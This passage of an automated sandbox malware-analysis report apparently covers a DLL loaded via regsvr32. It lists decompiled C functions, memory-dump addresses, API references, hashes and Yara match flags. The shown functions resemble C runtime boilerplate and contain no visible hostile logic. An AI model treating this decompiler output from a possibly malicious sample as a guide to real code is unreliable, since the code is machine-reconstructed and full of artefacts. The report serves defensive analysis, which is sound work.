							_t58 = E10035F70(_t89, _t92, _t96, _t98, _t100, _t103, _t105, _t108, _t111);
							_t93 = _t89;
							_t117 =  *((intOrPtr*)(_t89 + 0xc0));
							_t111 =  *((intOrPtr*)(_t89 + 0xb8));
							__eflags = _t117 -  *0x100b2510; // 0x2234f90
							if(__eflags != 0) {
								_t76 =  *(_t89 + 0xc8);
								__eflags =  *0x100b2398 & _t76;
								if(( *0x100b2398 & _t76) == 0) {
									_t58 = E1003AED0(_t76, _t89, _t96, _t98, _t108, _t111);
									_t117 = _t89;
								}
							}
							__eflags = _t111 -  *0x100b2290; // 0x2235c20
							if(__eflags != 0) {
								_t75 =  *(_t93 + 0xc8);
								__eflags =  *0x100b2398 & _t75;
								if(( *0x100b2398 & _t75) == 0) {
									_t58 = E1003A2F0(_t75, _t89, _t93, _t96, _t98, _t100, _t103, _t105, _t111);
								}
							}
							_t72 =  *(_t93 + 0xc8);
							__eflags = _t72 & 0x00000002;
							if((_t72 & 0x00000002) != 0) {
								r9w = _a32;
							} else {
								_t72 = _t72 | 0x00000002;
								bpl = 1;
								 *(_t93 + 0xc8) = _t72;
								r9d = _a32 & 0x0000ffff;
							}
						}
						__eflags =  *(_t117 + 0x14);
						if( *(_t117 + 0x14) != 0) {
							_t73 =  *((intOrPtr*)(_t117 + 4));
							r12d = 0;
							_t91 =  &_a16;
							_v96 = _t91;
							_v104 = _t111;
							_t109 =  &_a32;
							_t39 = _t111 + 1; // 0x1
							r9d = _t39;
							_v112 = _t83;
							_v120 = _t114;
							_a16 = r12d;
							_t59 = WideCharToMultiByte(??, ??, ??, ??, ??, ??, ??, ??);
							__eflags = _t59;
							if(_t59 == 0) {
								_t60 = GetLastError();
								__eflags = _t60 - 0x7a;
								if(_t60 != 0x7a) {
									L39:
									E10032420(_t91);
									 *_t91 = 0x2a;
									E10032420(_t91);
									__eflags = bpl;
									_t63 =  *_t91;
									goto L40;
								}
								__eflags = _t114;
								if(_t114 != 0) {
									__eflags = _t103;
									if(_t103 != 0) {
										_t109 = _t103;
										__eflags = 0;
										_t96 = _t114;
										E1002E410(_t60, _t73, 0, _t114, _t98, _t103);
									}
								}
								E10032420(_t91);
								 *_t91 = 0x22;
								r9d = 0;
								r8d = 0;
								_v120 = _t111;
								E10034370(_t93, _t96, _t98, _t100, _t103, _t105, _t109);
								__eflags = bpl;
								if(bpl != 0) {
									_t47 = _t93 + 0xc8;
									 *_t47 =  *(_t93 + 0xc8) & 0xfffffffd;
									__eflags =  *_t47;
								}
								_t63 = 0x22;
								goto L42;
							}
							__eflags = _a16 - r12d;
							if(_a16 != r12d) {
								goto L39;
							}
							__eflags = _t100;
							if(_t100 != 0) {
								 *_t100 = _t59;
							}
							__eflags = bpl;
							if(bpl != 0) {
								_t44 = _t93 + 0xc8;
								 *_t44 =  *(_t93 + 0xc8) & 0xfffffffd;
								__eflags =  *_t44;
							}
							_t63 = 0;
							goto L42;
						} else {
							__eflags = r9w - 0xff;
							if (r9w - 0xff <= 0) goto 0x10044b3f;
							__eflags = _t114;
							if(_t114 != 0) {
								__eflags = _t103;
								if(_t103 != 0) {
									__eflags = 0;
									E1002E410(_t58, _t72, 0, _t114, _t98, _t103);
								}
							}
							E10032420(_t89);
							 *_t89 = 0x2a;
							E10032420(_t89);
							__eflags = bpl;
							_t63 =  *_t89;
							L40:
							if(__eflags != 0) {
								_t49 = _t93 + 0xc8;
								 *_t49 =  *(_t93 + 0xc8) & 0xfffffffd;
								__eflags =  *_t49;
							}
							L42:
							goto L43;
						}
					}
					E10032420(_t89);
					r12d = 0;
					r9d = 0;
					r8d = 0;
					 *_t89 = 0x16;
					_v120 = _t111;
					E10034370(_t92, _t95, _t98, _t100, _t103, _t105, _t108);
					_t7 = _t111 + 0x16; // 0x16
					_t63 = _t7;
					goto L43;
				} else {
					if(__rcx != 0) {
						r12d = 0;
						 *((intOrPtr*)(__rcx)) = r12d;
					}
					_t63 = 0;
					L43:
					return _t63;
				}
			}

0x100449b0
0x100449b0
0x100449b0
0x100449b0
0x100449b0
0x100449b0
0x100449b0
0x100449b0
0x100449b0
0x100449b6
0x100449c3
0x100449c7
0x100449cb
0x100449cf
0x100449d3
0x100449d6
0x100449d9
0x100449dc
0x100449f5
0x100449f8
0x100449fa
0x100449fa
0x10044a00
0x10044a07
0x10044a35
0x10044a3d
0x10044a45
0x10044a4d
0x10044a50
0x10044a53
0x10044a58
0x10044a5d
0x10044ae0
0x10044ae5
0x10044ae8
0x10044aec
0x10044af5
0x10044afa
0x10044a5f
0x10044a5f
0x10044a64
0x10044a67
0x10044a6e
0x10044a75
0x10044a7c
0x10044a7e
0x10044a84
0x10044a8a
0x10044a8c
0x10044a91
0x10044a91
0x10044a8a
0x10044a94
0x10044a9b
0x10044a9d
0x10044aa3
0x10044aa9
0x10044aab
0x10044aab
0x10044aa9
0x10044ab0
0x10044ab6
0x10044ab9
0x10044ad2
0x10044abb
0x10044abb
0x10044abe
0x10044ac1
0x10044ac7
0x10044ac7
0x10044ab9
0x10044aff
0x10044b04
0x10044b6d
0x10044b71
0x10044b74
0x10044b7c
0x10044b81
0x10044b86
0x10044b8e
0x10044b8e
0x10044b95
0x10044b99
0x10044b9e
0x10044ba6
0x10044bac
0x10044bae
0x10044bd1
0x10044bd7
0x10044bda
0x10044c25
0x10044c25
0x10044c2a
0x10044c30
0x10044c35
0x10044c38
0x00000000
0x10044c38
0x10044bdc
0x10044bdf
0x10044be1
0x10044be4
0x10044be6
0x10044be9
0x10044beb
0x10044bee
0x10044bee
0x10044be4
0x10044bf3
0x10044bf8
0x10044bfe
0x10044c01
0x10044c08
0x10044c0d
0x10044c12
0x10044c15
0x10044c17
0x10044c17
0x10044c17
0x10044c17
0x10044c1e
0x00000000
0x10044c1e
0x10044bb0
0x10044bb8
0x00000000
0x00000000
0x10044bba
0x10044bbd
0x10044bbf
0x10044bbf
0x10044bc1
0x10044bc4
0x10044bc6
0x10044bc6
0x10044bc6
0x10044bc6
0x10044bcd
0x00000000
0x10044b06
0x10044b06
0x10044b0c
0x10044b0e
0x10044b11
0x10044b13
0x10044b16
0x10044b1b
0x10044b20
0x10044b20
0x10044b16
0x10044b25
0x10044b2a
0x10044b30
0x10044b35
0x10044b38
0x10044c3a
0x10044c3a
0x10044c3c
0x10044c3c
0x10044c3c
0x10044c3c
0x10044c43
0x00000000
0x10044c53
0x10044b04
0x10044a09
0x10044a0e
0x10044a11
0x10044a14
0x10044a1b
0x10044a21
0x10044a26
0x10044a2b
0x10044a2b
0x00000000
0x100449e3
0x100449e6
0x100449e8
0x100449eb
0x100449eb
0x100449ee
0x10044c58
0x10044c76
0x10044c76

APIs

WideCharToMultiByte.KERNEL32 ref: 10044BA6
GetLastError.KERNEL32 ref: 10044BD1

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: b8568a7273c0c70766b3ed4a78d058f795551a0bb03389be427cafb554901332
Instruction ID: 7e525ddd2e05e55504c4f29e3155c1c2c8c7d561b19257223373a3853432e88f
Opcode Fuzzy Hash: b8568a7273c0c70766b3ed4a78d058f795551a0bb03389be427cafb554901332
Instruction Fuzzy Hash: E571FE36609BC18AD7A2CF21E48175E37A4F784B94F368124EF8887B48DF38C851CB09

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800190BC Relevance: 3.2, Strings: 2, Instructions: 663COMMON

Download Yara Rule

Strings

;'8V, xrefs: 00000001800193D0
zHQ&, xrefs: 00000001800199EE

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ;'8V$zHQ&
API String ID: 0-3345145245
Opcode ID: d745dd294c4b6dd3e852930bb0be09a71e33bedff530b753887042c756e191d3
Instruction ID: 5f13e9c8985995fd84013e874e923840182887af3429aa3492c410ceafca1e5e
Opcode Fuzzy Hash: d745dd294c4b6dd3e852930bb0be09a71e33bedff530b753887042c756e191d3
Instruction Fuzzy Hash: 5472F3B150570DCFEBA8CF28D48A6D93BE5FB54308F508129FC5E8A2A1D778E519CB42

Uniqueness

Uniqueness Score: -1.00%

Function 100491A0 Relevance: 3.1, APIs: 2, Instructions: 82
COMMONCrypto

Download Yara Rule

C-Code - Quality: 78%

			E100491A0(void* __ebx, signed int __ecx, signed int __edi, long* __rax, long long __rbx, void* __rcx, void* __rdx, signed int __rdi, long long __rsi, void* __rbp, void* __r8, long long __r12, void* __r13, signed int _a8, long long _a16, long long _a24, long long _a32) {
				long long _v8;
				signed long long _v40;
				void* _t25;
				long _t28;
				int _t32;
				long _t33;
				void* _t38;
				signed int _t51;
				long _t52;
				long* _t56;
				long* _t57;
				signed long long _t66;
				signed long long _t70;

				_t72 = __r8;
				_t71 = __rbp;
				_t67 = __rsi;
				_t64 = __rdi;
				_t63 = __rdx;
				_t61 = __rcx;
				_t55 = __rax;
				_t38 = __ebx;
				_a8 = __ecx;
				_a16 = __rbx;
				_a24 = __rsi;
				_a32 = __rdi;
				_v8 = __r12;
				_t59 = __ecx;
				if(__ebx != 0xfffffffe) {
					__eflags = __ecx;
					if(__ecx < 0) {
						L13:
						E10032420(_t55);
						 *_t55 = 9;
						_v40 = _t64;
						r9d = 0;
						r8d = 0;
						__eflags = 0;
						E10034370(_t59, _t61, _t63, _t64, _t67, _t71, _t72);
						_t20 = _t64 - 1; // -1
						_t28 = _t20;
					} else {
						__eflags = _t38 -  *0x100b8b10; // 0x20
						if(__eflags >= 0) {
							goto L13;
						} else {
							_t70 = __ecx >> 5;
							dil = __ebx;
							_t51 = __edi & 0x0000001f;
							_t66 = __rdi << 6;
							_t56 =  *((intOrPtr*)(0x100b8b20 + _t70 * 8));
							__eflags =  *(_t56 + _t66 + 8) & 0x00000001;
							if(( *(_t56 + _t66 + 8) & 0x00000001) != 0) {
								E1003D3E0(_t25, __ebx, _t51, __ecx, _t66, _t70, 0x100b8b20, __r13);
								_t57 =  *((intOrPtr*)(0x100b8b20 + _t70 * 8));
								__eflags =  *(_t57 + _t66 + 8) & 0x00000001;
								if(( *(_t57 + _t66 + 8) & 0x00000001) == 0) {
									L11:
									E10032420(_t57);
									 *_t57 = 9;
									_t52 = 0xffffffff;
								} else {
									E1003D340(_t38, _t57, _t59, _t66, _t70, __rbp, __r8);
									_t32 = FlushFileBuffers(??);
									__eflags = _t32;
									if(_t32 != 0) {
										_t52 = 0;
									} else {
										_t33 = GetLastError();
										_t52 = _t33;
										__eflags = _t33;
										if(_t33 != 0) {
											E10032450(_t57);
											 *_t57 = _t52;
											goto L11;
										}
									}
								}
								E1003D4C0();
								_t28 = _t52;
							} else {
								E10032420(_t56);
								 *_t56 = 9;
								_v40 = _t66;
								r9d = 0;
								r8d = 0;
								E10034370(__ecx, __rcx, __rdx, _t66, _t70, __rbp, __r8);
								_t12 = _t66 - 1; // -1
								_t28 = _t12;
							}
						}
					}
				} else {
					E10032420(__rax);
					 *__rax = 9;
					_t28 = __ecx + 1;
				}
				return _t28;
			}

0x100491a0
0x100491a0
0x100491a0
0x100491a0
0x100491a0
0x100491a0
0x100491a0
0x100491a0
0x100491a0
0x100491a8
0x100491ad
0x100491b2
0x100491b7
0x100491bc
0x100491c2
0x100491d7
0x100491d9
0x10049291
0x10049291
0x10049296
0x1004929e
0x100492a3
0x100492a6
0x100492ab
0x100492ad
0x100492b2
0x100492b2
0x100491df
0x100491df
0x100491e5
0x00000000
0x100491eb
0x100491ee
0x100491f9
0x100491fc
0x100491ff
0x10049203
0x1004920b
0x1004920e
0x10049238
0x1004923e
0x10049242
0x10049247
0x10049276
0x10049276
0x1004927b
0x10049281
0x10049249
0x1004924b
0x10049253
0x10049259
0x1004925b
0x10049272
0x1004925d
0x1004925d
0x10049263
0x10049265
0x10049267
0x10049269
0x1004926e
0x00000000
0x1004926e
0x10049267
0x1004925b
0x10049288
0x1004928d
0x10049210
0x10049210
0x10049215
0x1004921d
0x10049222
0x10049225
0x1004922c
0x10049231
0x10049231
0x10049231
0x1004920e
0x100491e5
0x100491c4
0x100491c4
0x100491c9
0x100491cf
0x100491cf
0x100492cd

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f4abd6f5def2ef1ab09c4fc303d25f935362d055f07915b4dc31241c6d37b78
Instruction ID: 69289dcd23f13fc28841d04bc89d5b456dd970d218cef0b4d60171835c94540a
Opcode Fuzzy Hash: 6f4abd6f5def2ef1ab09c4fc303d25f935362d055f07915b4dc31241c6d37b78
Instruction Fuzzy Hash: 7C31FD3A2047808AD716DF72BA4170E77A5F7C1390F224139EE898B799CFB8E800CB04

Uniqueness

Uniqueness Score: -1.00%

Function 100061AC Relevance: 3.1, APIs: 2, Instructions: 52encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32 ref: 100061F0
CryptStringToBinaryA.CRYPT32 ref: 10006236

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: bc815b3dd297db4d59d93ba66cfc49bb6234aca61b799b3bbaf10e5463af1cbc
Instruction ID: e121d094966cd11c9e1b0778b96088d49dd643b5828fa6edbfadfaa061ea8c7d
Opcode Fuzzy Hash: bc815b3dd297db4d59d93ba66cfc49bb6234aca61b799b3bbaf10e5463af1cbc
Instruction Fuzzy Hash: 0401613221578196E7948B21FC00B9A77D9F749BD8F188124AE4947B48DF3DD955DB00

Uniqueness

Uniqueness Score: -1.00%

Function 10020690 Relevance: 3.0, APIs: 2, Instructions: 33
windowCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E10020690(void* __edx, void* __rax, void* __rcx) {
				void* _t4;
				void* _t18;
				void* _t25;

				_t18 = __rax;
				_t9 = __edx;
				_t25 = __rcx;
				if(__edx == 0xffffffff) {
					if(IsWindowVisible() != 0) {
						IsIconic();
						_t9 =  !=  ? 9 : __edx;
					} else {
						_t2 = _t18 + 1; // 0x1
						_t9 = _t2;
					}
				}
				_t4 = E1001E79C(_t9, _t18, _t25);
				if(_t9 == 0xffffffff) {
					return _t4;
				} else {
					E10019A10(_t25);
					return E1001E79C(_t9, _t18, _t25);
				}
			}

0x10020690
0x1002069a
0x1002069c
0x1002069f
0x100206ad
0x100206b8
0x100206c5
0x100206af
0x100206af
0x100206af
0x100206af
0x100206ad
0x100206cd
0x100206d5
0x100206f1
0x100206d7
0x100206dc
0x00000000
0x100206e6

APIs

IsWindowVisible.USER32 ref: 100206A5
IsIconic.USER32 ref: 100206B8

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: IconicVisibleWindow
String ID:
API String ID: 1797901696-0
Opcode ID: d8a1fa66369a04714b57d35e321b6a8818b15b296baf5573b46dee746e3175ae
Instruction ID: 9a05baa12f7150c88798c63a8806dfe0b4b9f17a9167772c12fd3ad2b39bd2c9
Opcode Fuzzy Hash: d8a1fa66369a04714b57d35e321b6a8818b15b296baf5573b46dee746e3175ae
Instruction Fuzzy Hash: F5F0892570564047DA18DB26AAD833D62D3EFC9BE4F904131ED1A877A1EF30DC9A8200

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180023E4C Relevance: 2.8, Strings: 2, Instructions: 345COMMON

Download Yara Rule

Strings

wrY, xrefs: 0000000180023F77
gI6, xrefs: 0000000180023F22

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: gI6$wrY
API String ID: 0-2379456883
Opcode ID: 081eb8f8fb027e740979f5912eab94cbad461a380c9e601e0ceca6f80fb6f2be
Instruction ID: a336098e14dfea03c3da4a0c207689e650a905030b1f19261ea1859d401f19f6
Opcode Fuzzy Hash: 081eb8f8fb027e740979f5912eab94cbad461a380c9e601e0ceca6f80fb6f2be
Instruction Fuzzy Hash: E202E2B150564ACFDB98CF28C089ADE7BE0FF58308F41452AFC499B290D774DA68DB85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E93C Relevance: 2.8, Strings: 2, Instructions: 309COMMON

Download Yara Rule

Strings

3nEa, xrefs: 000000018000ED00
R;T, xrefs: 000000018000EC2F

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 3nEa$R;T
API String ID: 0-1592967439
Opcode ID: fb3cea2e5bd7c0bb895cac6d9105d49b6b10a493b1a40acf8f446ae8bb4ff068
Instruction ID: e67846aa60ae054636518589507e796ccdca568b3629a8bd4830e6fca06fa48e
Opcode Fuzzy Hash: fb3cea2e5bd7c0bb895cac6d9105d49b6b10a493b1a40acf8f446ae8bb4ff068
Instruction Fuzzy Hash: 29E1E27150670DCBEB98CF28C58A6DD3BE4FF44304F508129FC5A9A2A1D778EA29CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800168B0 Relevance: 2.8, Strings: 2, Instructions: 272COMMON

Download Yara Rule

Strings

90H>, xrefs: 0000000180016D15
za*G, xrefs: 0000000180016C08

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 90H>$za*G
API String ID: 0-1455889577
Opcode ID: 56cd1ca17b7db685f4b7995dbaaff019a5d4fabac313ceb86a7299718a9b6016
Instruction ID: 9c4a20ec6c38a92b36f451f860c2c5f7c85bce52ce4ff1f3edfa370d2423ecd9
Opcode Fuzzy Hash: 56cd1ca17b7db685f4b7995dbaaff019a5d4fabac313ceb86a7299718a9b6016
Instruction Fuzzy Hash: F6F147B5902349CFDB88DF28C2DA59D7BE1FF59308F004129FD0A9A2A0D774E925CB49

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180020490 Relevance: 2.8, Strings: 2, Instructions: 267COMMON

Download Yara Rule

Strings

.B, xrefs: 0000000180020792
1i, xrefs: 00000001800207FA

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: .B$1i
API String ID: 0-3203132012
Opcode ID: a6d8ab6df8285790e6dfd4f426591a1b73451637066b6323ce4d9677d78018e6
Instruction ID: fd84a131dbaf8ca0cdba2d2b8a5cc56cd6200db0cbb92a4ee9578f6dd2649bff
Opcode Fuzzy Hash: a6d8ab6df8285790e6dfd4f426591a1b73451637066b6323ce4d9677d78018e6
Instruction Fuzzy Hash: 99C107B190074CDBDB59DF68D8896DDBBF0FB48308F118219F84AA72A5CB789909CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180020ED4 Relevance: 2.7, Strings: 2, Instructions: 249COMMON

Download Yara Rule

Strings

&xk<, xrefs: 000000018002128D
#X, xrefs: 0000000180021076

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$&xk<
API String ID: 0-3172636500
Opcode ID: 74aa7c8cedd4fe91834aa1096bab2d902853c827ea55006686437e35ad3d07c3
Instruction ID: 832c02666f0281eab619292b31c1cb4501ee6dda981f012b610fad0edd83ec9f
Opcode Fuzzy Hash: 74aa7c8cedd4fe91834aa1096bab2d902853c827ea55006686437e35ad3d07c3
Instruction Fuzzy Hash: 43E1C4706047888FDBBECF24C8897DA7BA9FB45708F50461DE9CA8E294DBB45745CB02

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180023840 Relevance: 2.7, Strings: 2, Instructions: 224COMMON

Download Yara Rule

Strings

d+, xrefs: 00000001800239A1
K#vi, xrefs: 0000000180023B0F

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: K#vi$d+
API String ID: 0-133950525
Opcode ID: 9f8ba8c16c173c85cb2c6fd4f9e799d72d692d580689faaa7986c0ea7c04a962
Instruction ID: b87bb41c89ffdee6b47fe2579d795d975c96c9da17c473623964c464c522450d
Opcode Fuzzy Hash: 9f8ba8c16c173c85cb2c6fd4f9e799d72d692d580689faaa7986c0ea7c04a962
Instruction Fuzzy Hash: D2B1E5709047588FDBA8DFA8C88A7DDBBB0FB58304F20821DD85AEB291DB745949DF40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015958 Relevance: 2.7, Strings: 2, Instructions: 223COMMON

Download Yara Rule

Strings

[&, xrefs: 0000000180015BB6
~Dcp, xrefs: 0000000180015CCD

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: [&$~Dcp
API String ID: 0-2556308055
Opcode ID: 70a681887c79f6db1be1d3120f2dad45c416e2f655b99efc3f2652e4bb458876
Instruction ID: 53fa7a63a14771b0a87d2479f8942799774813ef6f351def24902c77b17ab385
Opcode Fuzzy Hash: 70a681887c79f6db1be1d3120f2dad45c416e2f655b99efc3f2652e4bb458876
Instruction Fuzzy Hash: C7C1BC7150478CEBEBBEDF24C88A7DA37A9FB44704F108219E86E8E290DB765745CB41

Uniqueness

Uniqueness Score: -1.00%

Function 10034910 Relevance: 2.7, Strings: 2, Instructions: 218
COMMONCrypto

Download Yara Rule

C-Code - Quality: 85%

			E10034910(long long __rbx, char* __rcx, long long __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r9, long long __r12, long long __r13, long long __r14, long long __r15, long long _a16, signed int _a32, intOrPtr* _a40, signed int _a48, long long _a56) {
				void* _v8;
				long long _v16;
				void* _v24;
				void* _v32;
				void* _v40;
				void* _v48;
				long long _v56;
				void* _v64;
				signed char _v80;
				long long _v88;
				void* _v104;
				long long _v120;
				intOrPtr _t92;
				void* _t95;
				signed int _t108;
				signed int _t117;
				signed int _t127;
				signed int _t131;
				void* _t139;
				void* _t141;
				long long _t152;
				intOrPtr* _t155;
				char* _t158;
				char* _t164;
				void* _t168;
				intOrPtr* _t170;
				char* _t173;
				long long _t177;
				void* _t178;
				intOrPtr* _t182;
				char* _t190;
				long long _t192;
				intOrPtr* _t193;
				signed long long _t196;

				_t192 = __r14;
				_t187 = __r12;
				_t177 = __rbp;
				_t175 = __rsi;
				_t163 = __rdx;
				_a32 = r9d;
				_a16 = __rdx;
				_t147 = _t182;
				 *((long long*)(_t147 - 8)) = __rbx;
				 *((long long*)(_t147 - 0x18)) = __rsi;
				 *((long long*)(_t147 - 0x20)) = __rdi;
				 *((long long*)(_t147 - 0x28)) = __r12;
				 *((long long*)(_t147 - 0x30)) = __r13;
				r12b = 0;
				_t190 = __rcx;
				_t155 = _a56;
				 *((long long*)(_t147 - 0x40)) = __r15;
				_t196 = r8d;
				 *((intOrPtr*)(_t147 - 0x50)) = r12b;
				_t183 = __rdx;
				if(_t155 != 0) {
					_t163 =  &_v104;
					 *_t163 =  *_t155;
					_t147 =  *((intOrPtr*)(_t155 + 8));
					 *((long long*)(_t163 + 8)) = _t147;
					_t170 = _v104;
					r12d = _v80 & 0x000000ff;
					_t152 = _v88;
					_a56 = _t170;
				} else {
					E10035F70(_t147, __rbx, _t155, __rdx, __rdi, __rsi, __rbp, __rdx, __r12);
					_t152 = _t147;
					_t170 =  *((intOrPtr*)(_t147 + 0xc0));
					_t175 =  *((intOrPtr*)(_t147 + 0xb8));
					_t139 = _t170 -  *0x100b2510; // 0x2234f90
					_a56 = _t170;
					if(_t139 != 0) {
						_t122 =  *(_t147 + 0xc8);
						if(( *0x100b2398 &  *(_t147 + 0xc8)) == 0) {
							E1003AED0(_t122, _t147, _t155, __rdx, __rdx, __r12);
							_t170 = _t147;
							_a56 = _t147;
						}
					}
					_t141 = _t175 -  *0x100b2290; // 0x2235c20
					if(_t141 != 0) {
						_t121 =  *(_t152 + 0xc8);
						if(( *0x100b2398 &  *(_t152 + 0xc8)) == 0) {
							E1003A2F0(_t121, _t147, _t152, _t155, _t163, _t170, _t175, _t177, _t187);
						}
					}
					_t117 =  *(_t152 + 0xc8);
					if((_t117 & 0x00000002) != 0) {
						_t183 = _a16;
					} else {
						_t183 = _a16;
						_t117 = _t117 | 0x00000002;
						r12b = 1;
						 *(_t152 + 0xc8) = _t117;
					}
				}
				if(_t190 != 0) {
					if(_t183 == 0) {
						goto L12;
					}
					_t94 =  >  ? r15d : 0;
					_t95 = ( >  ? r15d : 0) + 9;
					if(_t183 > _t147) {
						r9d = _a48 & 0x000000ff;
						_v16 = _t177;
						_v56 = _t192;
						_t193 = _a40;
						_t178 = 0xffffffff;
						if(r9b != 0) {
							r9d = 0;
							_t168 = _t175 + _t190;
							r9b = r15d > 0;
							if(r9d == 0) {
								r9b = _a48;
							} else {
								asm("repne scasb");
								_t147 = r9d + _t168;
								E10032E50(_t117, r9d + _t168, _t168,  !0xffffffff);
								_t170 = _a56;
								_t183 = _a16;
								r9b = _a48;
							}
						}
						_t164 = _t190;
						if( *_t193 == 0x2d) {
							 *_t190 = 0x2d;
							_t164 = _t190 + 1;
						}
						if(r15d > 0) {
							_t108 =  *(_t164 + 1) & 0x000000ff;
							_t164 = _t164 + 1;
							 *(_t164 - 1) = _t108;
							_t147 =  *(_t170 + 0x128);
							 *_t164 =  *( *( *(_t170 + 0x128))) & 0x000000ff;
						}
						_t119 = _t117 & 0xffffff00 | r9b == 0x00000000;
						_t173 = _t164 + _t196 + _t175;
						if(_t183 != _t178) {
							_t178 = _t190 - _t173 + _t183;
						}
						_t184 = "e+000";
						_t165 = _t178;
						if(E10033690(_t147, _t152, _t173, _t178, _t173, _t175, _t178, "e+000") != 0) {
							r9d = 0;
							r8d = 0;
							_t119 = 0;
							_v120 = _t175;
							E100342D0(0, _t165, _t184);
						}
						_t158 = _t173 + 2;
						if(_a32 != 0) {
							 *_t173 = 0x45;
						}
						if( *((char*)( *((intOrPtr*)(_t193 + 0x10)))) != 0x30) {
							r8d =  *(_t193 + 4);
							r8d = r8d - 1;
							if(r8d < 0) {
								r8d =  ~r8d;
